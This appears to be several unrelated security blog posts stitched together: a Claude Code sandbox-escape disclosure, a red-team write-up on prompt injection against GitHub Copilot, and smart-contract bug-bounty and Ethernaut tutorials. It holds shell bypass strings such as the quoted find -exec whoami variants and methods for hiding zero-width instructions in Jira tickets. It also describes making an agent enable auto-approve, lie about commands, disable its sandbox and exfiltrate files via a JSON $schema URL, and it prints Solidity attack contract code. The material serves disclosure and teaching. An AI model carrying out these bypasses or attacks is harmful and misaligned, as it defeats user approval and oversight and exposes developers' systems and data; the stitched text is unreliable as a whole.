find . -exec whoami \;
find . "-exec" whoami \;
find . '-exec' whoami \;
find . "-"exec whoami \;

As the GMO Flatt Security research documented, researchers have found numerous bypass techniques:

• $IFS variable expansion bypassing \S+ patterns
• Git abbreviated arguments (--upload-pa instead of --upload-pack)
• Bash variable expansion chains with @P modifier
• sed expression parsing with the e execution modifier
• And many more…

The fundamental issue: blocklist approaches fail because they cannot anticipate all dangerous patterns. You’re essentially trying to parse a shell language with regex, which is a losing battle.

Responsible Disclosure

I reported both vulnerabilities to Anthropic through their HackerOne bug bounty program.

Anthropic’s security team was responsive and professional. Both vulnerabilities are now fixed in current versions of Claude Code.

Key Takeaways

1. Regex Cannot Parse Shell Commands Securely

Using regex to determine command safety is fundamentally fragile. Shell syntax has too many edge cases, quoting rules, and shell-specific behaviors. ZSH operators like >! weren’t considered. Security mechanisms need to parse commands the same way the shell does – not approximate it with patterns.

2. Sandbox Bypass Through Prompt Injection - An architectural choice

The sandbox escape mechanism is particularly concerning and is unlikely to be patched. Even when users enable sandbox protection, a malicious prompt can instruct Claude to use dangerouslyDisableSandbox: true. Combined with a command injection that bypasses the approval modal, the user never sees the (unsandboxed) warning that would normally alert them. It’s an inherently risky archtectural decision rather than a standalone vulnerability.

3. Defense in Depth

Multiple security layers should be independent. The sandbox should enforce restrictions regardless of whether the approval modal was shown. Permission scopes should be evaluated server-side, not just client-side. Auto-approval should be about user convenience, not about bypassing security boundaries.

Conclusion

Finding vulnerabilities in Claude Code using Claude Code was an unexpected turn in my regular development workflow. What started as confusion about why my permission settings weren’t working as expected led to discovering two sandbox escape vulnerabilities worth $7,400.

The core lesson: regex-based security decisions can be bypassed with creative syntax. Whether it’s quoting a dash in find "-"exec or using ZSH’s >! operator, there’s usually a way to express the same intent differently.

For Claude Code users: make sure you’re running the latest version where these issues are patched.

For security researchers: the SpecterOps blog post describes how to extract Claude Code’s source via source maps, enabling you to unit-test the validation logic directly without prompting Claude every time. This dramatically shortens the feedback loop for finding bypasses.

For tool developers: consider whitelist approaches over blacklists, implement server-side validation for security-critical decisions, and remember that your users might be running different shells than you tested with.

References:

• GHSA-qgqw-h4xq-7w8w (CVE-2026-24887)
• GHSA-q728-gf8j-w49r (CVE-2026-24053)
• SpecterOps: An Evening with Claude (Code)
• GMO Flatt Security: Pwning Claude Code in 8 Different Ways

Intro

Of the many uses of GenAI hitting technology stacks today, AI-assisted coding platforms offer one of the most compelling applications of LLM text generation. These platforms enable tech enthusiasts with an idea to make it a reality and speed up routine software development through context-aware code completions.

But this technology is not without its dark side. One element that gets a lot of attention is letting the LLM do the heavy lifting with limited human-generated code (AKA “vibecoding”), which can lead to flaws ranging from security gaps and missed requirements to code that can’t be easily modified or scaled.

Another element, the subject of our research in this blog, is the attack surface opened by integrating an LLM into development environments, where access to powerful developer tools allows the LLM to not only write code but execute the code or other commands on the system.

This topic was the subject of several recent blogs and conference talks where researchers demonstrated entire kill-chains that led to data theft or remote code execution. In some cases, those attack paths required zero interaction from the developer aside from asking the LLM to summarize the code project.

While many of the specific paths discussed in those blogs and talks have been mitigated to a degree, the very nature of AI-assisted coding capabilities and the non-deterministic nature of LLM text generation make this attack surface difficult to fully secure. We recently had the opportunity to dig further into GitHub Copilot for Visual Studio Code (VS Code) as part of an exercise, looking for new ways to achieve similar effects of data theft or remote code execution.

In the end, we discovered an Elevation of Privilege vulnerability in VSCode core (CVE-2025-66389) and it was patched by Microsoft.

Note: The remainder of the blog will simply refer to GitHub Copilot as Copilot. This is not to be confused with other instances of Copilot, such as those tied to Microsoft 365 applications. Also, the standard disclaimer applies - this is for educational purposes to continue to raise awareness about security pitfalls of GenAI products. Always get approval for testing.

RCE via GitHub Copilot

Background

A recent blog from Johann Rehberger discussed a CVE awarded to multiple researchers (CVE-2025-53773) affecting GitHub Copilot, wherein a malicious prompt inserted in the code led to full remote code execution (RCE) with zero user approvals required.

When the victim asked Copilot to take some action that interacted with the compromised code like “summarize this project,” the hidden instructions triggered Copilot to modify the VS Code settings file. In the case of this attack, the instructions enabled “YOLO” (You Only Live Once) mode - an experimental setting that automatically approves all actions suggested by Copilot (setting: "chat.tools.autoApprove": true).

Copilot has the ability to read and write files in the current “workspace” - the open folder and subfolders - and any other files the user has open in the editor. For security purposes, Copilot cannot access other files on the system. The root of the issue stemmed from the presence of distinct workspace settings (workspace/.vscode/settings.json). Because Copilot could alter this file unrestricted, Copilot could enable YOLO mode with no user intervention if compromised by an attacker.

To fix this, Microsoft removed YOLO mode from workspace settings in favor of using the global profile settings, located elsewhere. As a result, Copilot can no longer directly enable the setting unless the user opens the global settings file within VS Code.

Problem solved? Partially.

While the patch was effective, returning to a statement from the introduction: the very nature of these platforms gives them extensive capabilities that you cannot simply patch out without degrading the product. VS Code is not the judge or jury for the code you write and execute in the platform, it simply facilitates and aids the process. As a result, attackers can still add YOLO mode and gain remote code execution with a few additional steps.

To be clear, the demonstration below is not a new CVE, it takes advantage of the platform’s core functionality. Another key-caveat is that this is no longer a zero-click exploit. With a little Red Team ingenuity to come up with the right pretext, though, it can still be a potent attack. Our goal in highlighting this bypass is to illustrate that securing GenAI tooling is not as straight-forward as issuing a patch, as may be the case with traditional applications, and organizations employing GenAI tools will face residual risks requiring other mitigations.

The Sitch

In a recent op, we had secondary objectives to target developers and the development environment and use GenAI tools when possible. We had access to a Git service and Jira. So, what could we do?

1. Search for creds (pff, boring)
2. Poison legitimate programs and wait for them to be deployed (lots of moving pieces, need to get a commit approved)
3. Get a developer to run a malicious command for us (well now that’s interesting…)

We ended up going with number three, because it’s fun (okay, okay, we also looked for creds). At a high level, the attack path was as follows: the attacker (your friendly neighborhood Red Team, in this case) creates a bug report in Jira for an active project. Inside the bug report are hidden instructions that:

1. Enable YOLO mode.
2. Disguise the artifacts of the attack.
3. Execute operating system commands under seemingly benign auspices to gain remote code execution.

The unsuspecting developer copies the Jira ticket into GitHub Copilot, leading to unintended effects.

The Exploit Part 1: The Insertion

Problem #1: How do we get a developer to run a malicious command?

By not letting them know they’re doing it, of course.

In the course of the op, we observed training materials instructing developers to cut and paste the description or other ticket information from Jira into the Copilot chat, adding a small request like “help me find this bug.” Pretty common these days as companies try to accelerate with GenAI.

So, how could we use that? Enter the zero-width Unicode characters all the cool kids are using.

Zero-width Unicode characters serve functional purposes like controlling text direction. In modern digital typography, these invisible characters help ensure text displays correctly across different systems by controlling how adjacent characters interact without adding visible space or marks.

Because these characters are present in training datasets, LLMs know how to interpret them, allowing attackers to encode their instructions in a way that only the LLM will see. The Red Team found that these hidden characters were preserved in Jira comments and text fields, making it a perfect opportunity to poison a legitimate source of information with little evidence.

The Exploit Part 2: The YOLO Maneuver

Problem 2: YOLO mode was patched, right?

Alas, it’s true. But only for Copilot…

Copilot can’t edit the settings file directly, but the code Copilot writes can do whatever the user can do so… let’s just use that.

We targeted a Python project because of its interpreted nature and LLMs are quite adept at basic Python code. The first set of instructions given to the LLM in the hidden characters asked it to generate a new Python file, copilot_setup.py. This file contained code to modify the user’s global VS Code profile under the auspices of “getting ready to debug.”

Copilot consistently generated functioning code. Something to keep in mind as you’re building LLM-based payloads, though, is that they’re non-deterministic. Even though the code worked 90%+ of the time, there were a few times that required revision. The nifty thing about LLMs is that Copilot could revise the code itself in those cases, but such an error increased the time for the user to catch on to the attack.

But then we ran into a different problem…

The Exploit Part 3: The Bamboozle

Problem 3: Wait, they can see what we’re doing…

We can’t have that.

Because Copilot wasn’t YOLO-ing yet, executing this “setup” file still required user permission. Additionally, VS Code opens newly edited files in the editor window, which exposed the exact nature of the new code to the user. This would likely decrease the odds of clicking “continue.”

To hide the file from view for longer, we noticed that multiple file creations or changes resulted in the first file presenting as “active” while the subsequent files opened in tabs to the right.

So, we thought, let’s just create an arbitrary and capricious “debug log” first. That will hide the new Python code unless the developer explicitly opens the tab. As for getting the user to accept the command? Well… we found that Copilot supplied the description for the command we want to run, so we could manufacture an explanation of dubious veracity (that means lie).

Combining these approaches into new instructions, we got a pretty reasonable pretext. The last hurdle was the user approval. If approved, we’d have a shell (or data exfil) coming our way in however long it took for Copilot to meander through its answer. Which… could be 10 seconds or it could work itself into a tizzy actually debugging first. Either way, we were pretty confident a developer that’s cutting and pasting from Jira will probably not object too much to running a setup script, because LLMs do weird things sometimes.

The Exploit Part 4: Giving them the business

Problem Step 4: Figuring out what to do with our power

Oh, the possibilities…

With auto-approve enabled and the files cleaned up, we could run any OS command desired with no user input, requiring user attentiveness and quick actions to stop a malicious command.

For the sake of simplicity, the demonstration path culminates with a request to a webpage hosting a command to spawn Calculator. Don’t let the AI glaze make you forget that you still need to be a good Red Teamer and come up with a pretext and reasonable-looking command, because Copilot is going to tell the user what it’s doing.

An Alternate Approach: Malicious VS Code Extensions

As mentioned in the above discussion, VS Code has internal commands offered via an API that Copilot can call directly with user approval. As an alternative means of delivering malicious code to the developers, we found that the LLM could be convinced to call the workbench.extensions.installExtension command with an arbitrary extension ID and name. The given name did not need to match the official name in the extension registry, so go nuts.

You can combine this with indirect prompt injection through code files or using the path discussed in the last section.

0day - Circumventing Copilot Workspace Restrictions

Stemming from the prior research, we identified a more serious vulnerability that circumvented Copilot restrictions, allowing us to access any file on the system to which the user had access. We submitted this to Microsoft who validated and patched the issue, and it was assigned CVE-2025-66389.

As discussed, Copilot tooling is typically restricted to the active workspace or files already open in the editor to limit the impact to the host from LLM hallucination or compromise. For example, the readFile tool explicitly checks whether the file is in the workspace or open in a tab during its preparation.

However, VS Code offers a fetchPage tool that accepts both HTTP and file URI patterns. Because this tool is offered by VS Code itself and not Copilot (it is invoked by Copilot using a wrapper), it does not have the same restrictions on accessing files outside the workspace. To be clear, this VS Code tool is not itself a vulnerability and aligns with normal functionality for a development environment. How else would you open stuff?

With the appropriate prompt, Copilot could be coerced to utilize this tool rather than its own readFile tool, circumventing Copilot restrictions to read arbitrary system files. In addition, the user did not receive an approval prompt when supplying a file URI because the wrapper for this tool only required user approval for untrusted web URLs. This has been fixed, unless you have autoApprove enabled in which case… YOLO.

While arbitrary file reads are concerning, the user already had access to anything that opened and Copilot still could not modify the files, making this issue largely moot. To have impact, the information needed to be exfiltrated to an unauthorized location. A common method for exfiltrating LLM output is the use of Markdown images, which can be used to send an arbitrary GET to the supplied image source. VS Code, however, does not render the Markdown syntax directly and converts it to a plain, HTML string.

Digging further, we determined that VS Code’s handling of JSON files with Intellisense could be abused to trigger arbitrary HTTP requests. When a new JSON file is created with a $schema key and a URL as the value, Intellisense automatically sends a request to fetch the schema. By having Copilot create a JSON file, it could append contents from the arbitrary file read to the schema URL to exfiltrate information.

As a demonstration, the below prompt exfiltrated a fake API key from a file by combining the arbitrary file read with the $schema exfiltration technique, none of which required user approval. This could be further combined with previously discussed delivery obfuscation mechanisms to hide the prompt, though the output into the chat sidebar will be much harder to explain as benign.

Conclusion

While the arbitrary file read constitutes a full-fledged vulnerability, the tactics and techniques covered in this blog primarily focus on LLMs susceptibility to manipulation through the data sources they operate on. The same concerns a company has about a well-intentioned employee inadvertently doing something harmful apply to LLMs, but without the human judgement to identify anomalous behavior and nudge them that something is wrong.

Companies can help mitigate against these attack paths in a few ways:

1. User training. Train users that output from LLMs is not necessarily safe despite coming from an “internal” source. Additionally, coach users on the potential threats to data sources, including copying and pasting, that may add unwanted instructions to the LLM.

2. Disable auto-approve settings. Some AI-coding platforms allow enterprises to universally disable auto-approve settings or specifically allow-list certain commands that can be auto-approved. Where possible, use those technical controls to keep a human in the loop. If not offered by the platform, conduct routine user training for developers and consider periodic audits of settings files to ensure compliance.

3. Segregate. While more time and labor intensive, further separation of development boxes from developers’ normal workstations can help mitigate potential compromise if malicious code is introduced through the coding platform.

If you are building your own applications, additionally consider:

1. Restrict hidden Unicode characters. Unless expressly needed for the functionality of the application, the application should filter these characters before passing the prompt to the LLM and raise the suspicion level of the interaction. Let’s be real, how often do you really need these for the LLM?

2. Consider all data sources. Indirect prompt injection has been and will continue to be the best way to introduce malicious prompts.

3. Check for redundant tools. As discussed with the arbitrary file read, one set of tooling was restricted while the overall environment offered another set of tooling. Ensure your application does not offer two sets of similar functions with differing security postures when introducing an LLM. This also applies to MCP servers your team may use, as malicious MCP servers can “shadow” legitimate tools, convincing the LLM to call the malicious tool instead of the benign one.

1 - Identify a bounty program

The first thing that must be done is picking a bug bounty program. Head over to Immunify and pick a random program that you’d like to hunt.

Scroll down to ‘Assets in Scope’ and you’ll find a number of etherscan addresses.

In this post I’ll be testing the ondofinance bounty program

2 - Prepare the development environment

As discussed in other blog posts, we want to do our testing either locally or via mainnet fork. Testing locally works for simple projects but sometimes there’s problems compiling and configuring everything if a project uses, say, hardhat, but we want to use brownie.

We’ll create a new brownie project manually by copying our Ethernaut project files to a new directory.

• Ethernaut project is available on my GitHub

3 - Audit

At this point I want to begin the discovery and recon phase where we try to identify interesting, or vulnerable functionality of the smart contracts. The scope of the bounty includes several etherscan addresses - for our purposes we’ll choose the first one and start reading the source code on etherscan.

In this guide we won’t go into hacking smart contracts via bytecode (symbolic analysis), though it can be done. When etherscan publishes the solidity source code, this means the ABI is available for us to use, which contains all of the read and write functions/variables that we care about. For now we only want to audit smart contracts that have the source (ABI) published.

Tools

Slither

Top of the list is going to be slither which will scan for common vulnerabilities. It interprets solidity code and converts it into an intermediate language, which is then used to perform vulnerability checks. There will be false positives, there will be results that we don’t care about. Being an effective analyst is all about evaluating the results.

slither 0x2BB8de958134AFd7543d4063CaFAD0b7c6de08BC

As simple as that, slither will scan the smart contract files that are associated with the address using etherscan.

Phalcon

• https://explorer.phalcon.xyz/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6
• Trace + Source + Debug + Params etc
• Can Simulate transactions

Sam’s Transaction Viewer

• https://openchain.xyz/trace/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6
• Gives the function inputs raw and decoded

Tenderly

• https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6
• Similar to both but worse debugger
• However, the advantage is that you can view the code and the conversion process of Input data while Debugging
• Debug -> select call -> re-simulate

EVM Bytecode Decompiler

https://library.dedaub.com/decompile

Asset Flow

https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

• Like Phantom but can be better flow chart

VSCode

Solidity Metrics

https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics

Solidity Visual Developer

https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor

Inline Bookmarks

https://marketplace.visualstudio.com/items?itemName=tintinweb.vscode-inline-bookmarks

Static Analysis

• Mythx - https://mythx.io/
• Slither - https://github.com/crytic/slither
• Mythril - https://github.com/ConsenSys/mythril
• 4naly3er - https://github.com/ConsenSys/mythril

Fuzzing

• Echidna - https://github.com/crytic/echidna
• Foundry Fuzz - https://book.getfoundry.sh/forge/fuzz-testing

Findings

Let’s look at a snippet of the slither output

1

TrancheToken (contracts/TrancheToken.sol#16-120) is an upgradeable contract that does not protect its initiliaze functions: TrancheToken.initialize(uint256,string,string,address) (contracts/TrancheToken.sol#33-43). Anyone can delete the contract with: TrancheToken.destroy(address) (contracts/TrancheToken.sol#94-101)Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unprotected-upgradeable-contract

Notice that the slither output will be color coded, I assume based on the level of severity for each respective finding.

Looking at this snippet we can see that the tool identified a destroy() function that anyone can call. Interesting - lets investigate whether that’s true.

Solidity Analysis

Going back to the etherscan page, we can see that there’s a file named TrancheToken.sol which is what slither was complaining about.
There were multiple files within the etherscan link though, and only one of them is the “main” file. In this case the Contract Name, shown at the top of the etherscan page, is AllPairVault.

Below is a snippet of that file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.3;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//<other imports>

/**
 * @title A container for all Vaults
 * <Other information etc etc>*
 */
contract AllPairVault is OndoRegistryClient, IPairVault {
  using OLib for OLib.Investor;
  using SafeERC20 for IERC20;
  using Address for address;
  using EnumerableSet for EnumerableSet.UintSet;

// <Other stuff within the file...>

address public immutable trancheTokenImpl;

// <Other stuff within the file...>

So here we see that the TancheToken that we are looking for is declared as an immutable address. This is how we can access the TancheToken instance. Instead of manually looking for the public or external keyword within the code, you could have also selected the “Read” and “Write” buttons on etherscan to see what’s available for use.

Exploitation

Within our brownie project I created the following function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

def ondofinance():
    
    account = get_account()

    ondoInstanceAddress = config["networks"][network.show_active()][f"ondo_first_address"]
    with open("./AllPairVault.json") as f:
        info_json = json.load(f)

    abi = info_json["result"]

    w3 = Web3(Web3.HTTPProvider(f"https://mainnet.infura.io/v3/{os.getenv('WEB3_INFURA_PROJECT_ID')}"))
    print(f"Connected? {w3.isConnected()}")
    ondo = w3.eth.contract(address=ondoInstanceAddress, abi=abi)

    trancheToken=ondo.functions.trancheTokenImpl().call()
    
    print('trancheToken :', trancheToken)

    with open("./TrancheToken.json") as f:
        abi2 = json.load(f)


    tranche = w3.eth.contract(address=trancheToken, abi=abi2)
    tranche.functions.initialize(0, "test", "test", ondoInstanceAddress).call({'from':account.address})

This is different than how solidity classes are instantiated with brownie since we’re not using the contract interfaces within the project. Web3.py can be used to interact with existing contracts using only the address and ABI. There’s a lot to dissect here so I will explain each piece.

1. get_account fetches the account
2. within our config we’ve identified the address of the etherscan address specified in the bounty program. this gets defined as ondoInstanceAddress.

Next I headed over to etherscan and scrolled down the page until I reached a textbox containing the ABI. After saving that ABI to disk, I named the file AllPairVault.json

3. the ABI json file gets parsed.
4. the web3 python library initializes the provider, which uses my environment variable containing my infura project ID.
5. provider is confirmed as connected
6. now that the ABI has been parsed and we have the smart contract address, we create the contract object

Now that we know where the TrancheToken instance is defined, lets grab it.

7. the TrancheToken instance address is saved as trancheToken

At this point we need to initialize the TrancheToken class finally. Again we’ll grab the ABI from etherscan, save the JSON to disk, and reference that.

8. the TrancheToken ABI is saved as abi2
9. the address that we discovered, and the abi, are used to create a contract object

Now we could try to call the initialize function that slither mentioned to us

10. intialize is called using random parameters.
    • Remember that address checksums get checked for validity, so you must pass a real address otherwise solidity will interpret it as a string. Here I’m using the ondoInstanceAddress but any address could be used.

Finally we can test it out. We want to do our testing using a fork of mainnet, so I call the script like this:
brownie run scripts/deploy.py --network mainnet-fork-dev which will use my fork.

• My github has context on how to set this up in your local environment.

So can we call initialize ?

1

ContractLogicError: execution reverted: Initializable: contract is already initialized

Nope! We can’t. Looking back at the original finding, slither said:

Anyone can delete the contract with: TrancheToken.destroy(address)

Maybe we can call it! Let’s try by replacing the last line:

1

tranche.functions.destroy(account.address).call({'from':account.address})

Kicking off the script again, we get the following output:
ContractLogicError: execution reverted: Invalid access: Only Registry can call

It didn’t work, but that’s ok - there’s lots of other tests that we’ll create when auditing smart contracts and this is just the first of many.
What’s important is that we understand the methodology of basic solidity testing.

Videos

Secureum and ethernaut content
https://youtu.be/b6zEWJwMcGc?t=300

Andy Li - code4rena and real hunting
https://www.youtube.com/watch?v=nVucSDlcDFE

Audit Reports

yAcademy

https://reports.yacademy.dev

• https://github.com/x3419/Ethernaut_Solutions

Description & Original Code

GatekeeperOne is a smart contract challenge where requirements must be satisfied through multiple checks. If each requirement (or gate) can be bypassed, the challenge is completed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Pass Gate 1

We learned about tx.origin in Ethernaut challenge #4 (Telephone). This requirement can be achieved by using an attack contract, which will be used as the msg.sender, while tx.origin will be our original wallet.

Pass Gate 2

This gate checks that the amount of gas left is divisible by 8191.

I don’t like javascript so I’ve tried to stick with brownie/python as my development framework which controls solidity. However, remix is really great for solidity dev and debugging.

• The remix debugger displays the amount of gas and remaining gas.
• Different Solidity compiler versions will calculate gas differently. And whether or not optimization is enabled will also affect gas usage

Go read the Pass Gate 3 section, then keep reading

Within the attack contract, we add this function:

1
2
3
4
5
6

function enter() public returns(bool) {
    bytes memory payload = abi.encodeWithSignature("enter(bytes8)", key);
    (bool success,) = victim.call.gas(9999)(payload);
    require(success, "failed somewhere...");
    return success;
}

We’re using 9999 as a random guess that we’ll use to calculate offsets.

Deploy GateKeeperOne and AttackGateKeeperOne. Call enter() and debug.

Here we’re debugging on line 17 and we can see our remaining gas within the “Step details” menu is 9756.

We need our remaining gas to be divisible by 8191…

9999 - 9756 = 243 This is the amount of gas used to get to the gateTwo check
8191 + 243 = 8434 This is the initial gas required to have remaining gas = 8191 at the gateTwo check

We came to 8434 within our debugger but this might not always be the case. This is something specific to the compiler, flags, and other EVM settings. The following function (within our attacker contract) allows us to “spray” function call attempts using .call which won’t cause a revert. Here we’ll scan within 120 units of our gas estimate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

function enter() public returns(bool) {
      
      bytes memory payload = abi.encodeWithSignature("enter(bytes8)", key);

      uint approximateGasTarget = 243;
      uint padding = 60;

      // now we will use .call to specify different gasses. call will not generate reverts
      // gas offset usually comes in around 243, give a buffer of 60 on each side
      for (uint256 i = 0; i < padding*2; i++) {
        (bool result, bytes memory data) = victim.call.gas(
            i + (approximateGasTarget-padding) + 8191 * 3
          )(
            payload
          );
        if(result)
          {
          break;
        }
      }
    }

Pass Gate 3

Original:

1
2
3
4
5
6

require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");

require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");

require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");

Just like math equations we can cancel out the casts that exist on both sides to simplify:

• Note that uint32( uint64(key) ) == uint32(key) because it basically undoes the operation

1
2
3
4
5

require(uint32(_gateKey) == uint16(_gateKey));

require(uint32(_gateKey) != uint64(_gateKey));

require(uint32(_gateKey) == uint16(tx.origin));

Check 1

For the checks, let’s visualize the two variables by starting off with all the bits being available for bitwise operations (set to 1).

uint32 uint16
0x11111111 == 0x1111

We want these to be equal. That can be achieved by turning the 4th left-most bytes of the uint32 to 0.

Mask: 0x0000FFFF

Check 2

Since we know what mask we need for check one, we’ll start off with that (in binary form).
Var A stays the same as the mask because those are the only bytes available.
Var B gets prepended with 8 bytes (1’s) because there are 8 extra bytes that we want available for bitwise operations.

uint32 (A) uint64 (B)
0x00001111 != 0x1111111100001111

We want these vars to NOT be equal. If the 8 left-most bytes (1’s) of var B don’t get accounted for, the results will always be equal. Therefore we must account for those bytes by setting them to 1.

Mask: 0xFFFFFFFF0000FFFF

Check 3

We need the key’s first 16 bytes to contain the tx.origin
However in reality the key is only 8 bytes so we can AND our mask with the 8-byte version of tx.origin to get the final key.

1

bytes8 key = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

This didn’t compile on solidity 0.6.0. After googling, I found that this is equivalient:

1

key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;

Conclusion

This was a great challenge for learning how to approach satisfying multiple requirements within solidity. Ultimately critical vulnerabilities are often a chain of condition bypasses so this gives us some helpful context. I completed this challenge by coding the runtime execution in python which is available in my GitHub.

References:
https://medium.com/coinmonks/ethernaut-lvl-13-gatekeeper-1-walkthrough-how-to-calculate-smart-contract-gas-consumption-and-eb4b042d3009

When hunting for vulnerabilities in the real world (on mainnet), we don’t want to spend real money when messing around with smart contract calls. Forking is a helpful technique that allows us to pretend we’re on testing mainnet like a sandbox.

Networks

Ethereum contains different networks that you can connect to. There are 4 networks that we care about:

1. Mainnet
   • The real ethereum network that is online and is used for financial exchange and production use.
2. Testnet
   • A decentralized blockchain that is online and is used for testing.
   • Testnet examples:
     • Rinkeby
     • Ropstein
3. Fork
   • A copy of the mainnet/testnet being proxied into our local testing environment. We can unlock and control any wallets as if we had the private key.
   • This is useful if we want to interact with a smart contract in its current state, instead of recreating that state manually via local deployment.
4. Local
   • Our local debugging environment. There’s a useful tool named ganache that can provide us a local blockchain.
   • To test locally:
     • Copy the solidity code to the local project
     • Deploy the smart contract to ganache
     • Recreate the state of the VM (sometimes)
       • Ex) A CTF challenge, the EVM is initialized and your account is given 20 tokens that you must use to hack the smart contract somehow. Instead of forking we can deploy locally, then deposit 20 tokens into our account manually.

Smart Contract Attack Surfaces & Tips

1. Data within smart contracts (global vars) are not private. The EVM bytecode is published on the blockchain and there are simple ways to obtain private variables.
   • There’s a way to read any variable within the contract based on its slot index
2. When money is sent to a smart contact without specifying a function name, this triggers the fallback function which is represented as fallback() or receive().
   • Vulnerable contracts may send money to your contract address in this way.
     • If this occurs and conditions are not checked before, this can be exploited.
       • Ex) A vulnerable contract with a withdraw() function may send the user’s funds BEFORE decrementing their balance
       • This is what’s known as a Re-entrancy attack (recursion)
   • When transfering funds, you must remember:
     • The recipient isn’t always an externally owned account (a wallet). It may be a smart contract, which will run code when the transfer is confirmed.
     • If an attacker contract’s fallback function is triggered, it may break things by reverting
3. Modifiers are really important. They determine what functions you can leverage.
   • Ex) function isLastFloor(uint) external returns(bool);
     • This interface can be used for both reading and modifying data within the contract.
     • The view function modifier on interfaces can prevent state changes from occurring
4. Composition can be used for working within the same block as the victim contract
   • Deploy an attack contact and pass the victim contract address as the constructor parameter so that calls can be made from the attack contract to the victim contract.
   • If “randomness” is computed based on block-related attributes, these results can be recreated within the attack contract. The only secure way to provide pseudo-randomness is using oracles.
5. There is a difference between tx.origin and msg.sender that allows phishing attacks.
   • By convincing a victim to send funds to an attacker contract, the fallback function can be triggered - if a victim contract (e.g. victim’s bank) is then called, the tx.origin will be the victim and msg.sender will be the attacker.
   • tx.origin should never be used to authenticate identity
   • tx.origin should never be used to determine whose tokens to transfer
6. Solidity has underflows and underflows.
   • Safe math libraries are built-in after 0.6.0 (TODO: double check this)
   • Earlier solidity versions must import SafeMath
7. delegatecall is a way to call arbitrary functions in a contract or library.
   • This should never be in a fallback function!
   • It allows the attacker to call whatever function they want in the contract specified.

     1 2 3 4 5 6

     fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } }

8. Even if a contract doesn’t mark their fallback as payable, there’s still a special way to send it money.
   • selfdestruct(_address); can be used by an attack contract to force a payment.
     • In this case the attacker function would be function attack(address _address) payable public
   • It’s important not to count on the invariant address(this).balance == 0 for any contract logic
9. When doing type conversions (casting) it’s usually easier do it within an attacker contract.
10. Bitwise operations are painful but elegant, and will help with smart contract hacking.
    • A ^ B = C then A ^ C = B
11. extcodesize(caller()) is the .text section (opcodes, code instructions) size of the caller - You can hide the size of your attack contract by doing everything in the constructor
12. For ERC-20 tokens there’s two ways to transfer funds:
    1. function transfer(address _to, uint256 _value) public
    2. function transferFrom(address _from, address _to, uint256 _value) public
       1. The approve(address _toBeApproved, _value) public function must be called first before transferFrom(toBeApproved, 100000000) will work

Invariants & Fuzzing

When I first started to learn blockchain and smart contract security in 2021 there wasn’t much learning curriculum freely available online. There were some CTFs like Ethernaut with helpful writeups, but they were mostly in the same test suite (hardhat) and lacked the general context of how this type of bug hunting theory applied to live protocols. Also, JavaScript is lame.

Jumping now to December of 2023, there’s so many freely available resources that you can even just watch videos. I don’t always have the discipline to keep digging into really weird complicated stuff like this but I’ve been watching videos and have been blown away by the quality of training resources provided by Patrick Collins and Owen Thurm.

My top blockchain security learning resource for 2024:

• Cyfrin Security Review Course
  • https://updraft.cyfrin.io/courses/security
• Owen Thurm’s Advanced Web3 Security Course | Part 1 & 2
  • https://www.youtube.com/watch?v=DRZogmD647U

I got to the TSwap section of the Cyfrin course and Patrick mentioned that he plans to redo the stateful fuzzing section because he thought he explained it poorly. I disagree, but I wanted to do a deep dive myself and maybe this can help others.

Testing and Verification Approaches

First, know that this page from the Cyfrin course thoroughly describes these concepts much better.

When it comes to testing smart contracts, there’s basically 4 approaches that can be used to assert the validity of various states of a smart contract. From least to most confident, the scale is Stateless fuzzing -> Open Stateful fuzzing -> Handler Stateful fuzzing -> Formal Verification.

• Stateless Fuzzing:
  • Testing approach using random inputs.
  • A basic function fuzzer
  • Helps identify input related edge cases, but it “forgets” the state of the contract with every fuzz attempt.
• Open Stateful Fuzzing:
  • Expands on Stateless fuzzing by considering the contract’s internal state.
  • Includes a setUp function to initiate things properly
  • Test inputs are generated and executed in a stateful manner.
  • Basically it will call multiple functions to try to break the invariant we define. It’ll try crazy stuff in crazy orders though, so you might need a super computer if there’s a lot to fuzz.
• Handler Stateful Fuzzing:
  • Expands on Stateful fuzzing but reduces what the fuzzer will do.
  • Way more setup with foundry
  • Orchestrates interactions with the contract using foundry.
    • Ex) Instead of modifying the contract we’re interacting with to include a valueBefore variable, we instead define it in our handler which avoids changing the original code.
